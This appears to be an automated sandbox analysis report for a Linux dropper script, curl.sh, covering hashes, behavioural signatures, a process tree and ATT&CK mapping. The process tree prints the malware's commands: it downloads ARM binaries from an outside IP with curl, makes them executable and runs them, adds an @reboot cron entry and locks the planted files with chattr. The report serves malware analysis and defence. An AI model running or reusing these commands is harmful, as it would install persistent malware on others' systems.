Analysis
- max time kernel
148s - max time network
145s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
26/07/2026, 16:25
Static task
static1
Behavioral task
behavioral1
Sample
curl.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
curl.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
curl.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
curl.sh
Resource
debian9-mipsel-20260513-en
General
- Target curl.sh
- Size 1KB
- Sample260726-tw9f2sysaz
- SHA256 21ffeade7a2ca38e1cf578598afb3b6b36034e111e937300bb697dd9cbf3f7e4
- MD5 3e42a546634cd9af72ad76d638d3b447
- SHA1 9684c96ba416c2250a8c2a835c9c8c90257c097e
- SHA512 24bd29bfd8d09f406fcada4b62c219c58867e07f3562824c8e5653e37b5a7c8886918c7f8bdb0346cd3385503da8f7a04b37853b0c717529e4eddb6f3c053704
- TLSH T1EA217CE4002449EEEE03AE48F77B55C8EA5941A7FE82BE5AE594046DD45CD78E1CE2C0
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 678 chmod 698 chmod - Deletes itself 1 IoCs
pid Process 679 putita.arm - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/putita.arm 679 curl.sh - Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.yDaU27 crontab - Creates/modifies environment variables 1 TTPs 8 IoCs
Creating/modifying environment variables is a common persistence mechanism.
description ioc Process File opened for modification /etc/profile putita.arm File opened for modification /etc/bash.bashrc putita.arm File opened for modification /home/admin/.bashrc putita.arm File opened for modification /home/admin/.profile putita.arm File opened for modification /home/pi/.bashrc putita.arm File opened for modification /home/pi/.profile putita.arm File opened for modification /root/.bashrc putita.arm File opened for modification /root/.profile putita.arm -
description ioc Process File opened for modification /etc/init.d/kworker-helper putita.arm - Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
description ioc Process File opened for modification /etc/rc.local putita.arm - Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/kworker-helper.service putita.arm - Modifies Bash startup script 2 TTPs 8 IoCs
description ioc Process File opened for modification /etc/profile putita.arm File opened for modification /etc/bash.bashrc putita.arm File opened for modification /home/admin/.bashrc putita.arm File opened for modification /home/admin/.profile putita.arm File opened for modification /home/pi/.bashrc putita.arm File opened for modification /home/pi/.profile putita.arm File opened for modification /root/.bashrc putita.arm File opened for modification /root/.profile putita.arm -
resource yara_rule behavioral2/files/fstream-1.dat upx - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself wbizBwjhDwos 679 putita.arm - Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/filesystems crontab File opened for reading /proc/filesystems crontab File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/exe putita.arm File opened for reading /proc/filesystems crontab - Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/putita.arm6 curl File opened for modification /tmp/putita.arm curl File opened for modification /tmp/putita.arm5 curl
Processes
-
/tmp/curl.sh/tmp/curl.sh1⤵
- Executes dropped EXE
PID:651 -
/usr/bin/curlcurl -O http://64.89.163.215/bins/putita.arm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:653
-
-
/bin/chmodchmod +x putita.arm2⤵
- File and Directory Permissions Modification
PID:678
-
-
/tmp/putita.arm./putita.arm2⤵
- Deletes itself
- Creates/modifies environment variables
- Modifies init.d
- Modifies rc script
- Modifies systemd
- Modifies Bash startup script
- Changes its process name
- Reads runtime system information
PID:679 -
/bin/shsh -c "crontab -l 2>/dev/null"3⤵PID:681
-
/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
PID:682
-
-
-
/bin/shsh -c "(crontab -l 2>/dev/null; echo '@reboot /usr/lib/kworker-helper') | crontab - 2>/dev/null"3⤵PID:683
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:685
-
-
/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
PID:686
-
-
-
/usr/bin/chattrchattr +i /etc/init.d/kworker-helper3⤵PID:689
-
-
/usr/bin/chattrchattr +i /etc/systemd/system/kworker-helper.service3⤵PID:688
-
-
/usr/bin/chattrchattr +i /usr/lib/kworker-helper3⤵PID:687
-
-
-
/usr/bin/curlcurl -O http://64.89.163.215/bins/putita.arm52⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:694
-
-
/bin/chmodchmod +x putita.arm52⤵
- File and Directory Permissions Modification
PID:698
-
-
/tmp/putita.arm5./putita.arm52⤵PID:699
-
-
/usr/bin/curlcurl -O http://64.89.163.215/bins/putita.arm62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:700
-
-
/bin/busyboxchattr +i /etc/systemd/system/kworker-helper.service1⤵PID:691
-
/bin/busyboxchattr +i /etc/init.d/kworker-helper1⤵PID:692
-
/bin/busyboxchattr +i /usr/lib/kworker-helper1⤵PID:690
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
4XDG Autostart Entries
1Boot or Logon Initialization Scripts
2RC Scripts
2Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
4XDG Autostart Entries
1Boot or Logon Initialization Scripts
2RC Scripts
2Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/init.d/kworker-helper
- Size 379B
- SHA256 daeb1a39fa3bf6fad15573d3aba269ac40fd43532bb487be2ed13453756cbe50
- MD5 c38d603241c783cc32e445061d3c1a14
- SHA1 65ec284d9c12bff79813b2f164900351e12512ac
- SHA512 54eedceecdb7fb3a56d9187df635e48654933657309b6e6fd0dc23c29850668278e88e21e046e83c91c1e81c0ce14236c8bdcfe09bab01dd820999c4c95c5f93
- TLSH T153E0D892164D7B3E1E0500B1DA04E7C5D8428D09622AE426B04C17E35BAB747D8755AC
- MD5 SHA1 SHA512 TLSH
- Path /etc/systemd/system/kworker-helper.service
- Size 190B
- SHA256 dcc492c83b938187ae12ae6df39f2350a98bb80761d79aa3ad4f29fa9a371c07
- MD5 ed6dfe7a7cad02f20eabc83ecc6e2563
- SHA1 b160b2a13238257fe4c233118f5152e38a8297d3
- SHA512 8ee7d7d57e9976b9d75bf37739ecdff2c1c003ea0d5e42d979b72dd64e1b424bb5b71d4d7a37c712fa13d9fc9c62156902a5c324007159b75a9e691d27d80be0
- TLSH T155C02232170120E0D80F39F24E97AB008D100A0487CEF0200BC0104B44E2A824431EA9
- MD5 SHA1 SHA512 TLSH
- Path /root/.ashrc
- Size 61B
- SHA256 30fc62ecc4fde897502efdd4821bd14c60694b758b6664f4044cfd48ca3a2efb
- MD5 7ba24613596abdadc60214554a375aed
- SHA1 b83e4b71eaa248f3849936053713453e3c7c3943
- SHA512 1930e566a15a91af54614d2b291dcacb4ad7a942dcfd1d301cd2c439139d79691688586df8d6ce294f0b292092b9e0d9a2146a8f30929bf102794520390170cc
- MD5 SHA1 SHA512
- Path /tmp/putita.arm
- Size 57KB
- SHA256 d7095a429463d5b5934f6820d35f575300f635a7819bdf43a74ec9cff84e66fa
- MD5 0521ae8287614c340a73307fb82e06e2
- SHA1 b8a6bc08563264ca67aff41865385faf4ee61a23
- SHA512 1aad219c21e15e2f5b3b225fae9d878c690e4fdfd52d63170bf4c8ecffe783846b570f404fc27a1f3aa28f1bf1c1914c10ee988d987b2053640fecd8a4ce2631
- SSDEEP 1536:YQxgxPJhfVIz2FzQOQRgD3jEShEFENCD8vwfLpfp:Txg1JhdIzOQ1RgD34ShcSCD8veLpx
- TLSH T16743F2B1364C6436C5490CB068FE6141E38B9BD9E5F722A0A0FCDA74B77218B7C7D929
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/spool/cron/crontabs/tmp.yDaU27
- Size 207B
- SHA256 5b1c34a53ae9ecd8f12f0fd800712a8376b2c259e14144c259da810c77ecda35
- MD5 14b8e973eb024f238ad4fd16268295ea
- SHA1 132ed9cde0a6606a0a8e3c4174153b22e59dde30
- SHA512 8c2d41cd290d707e1eccadfdfee8a9e2fd8b24a6ada645b193a53384b5a39f5d8017274e4b2de1beeb93bd2cf202a04a7f54384960fe3610602b9e52d2aa13d5
- TLSH T142D0221D3F002A3079042F86285E0B5C98C1E868C14EEE54E2CC3026920768C6B62962
- MD5 SHA1 SHA512 TLSH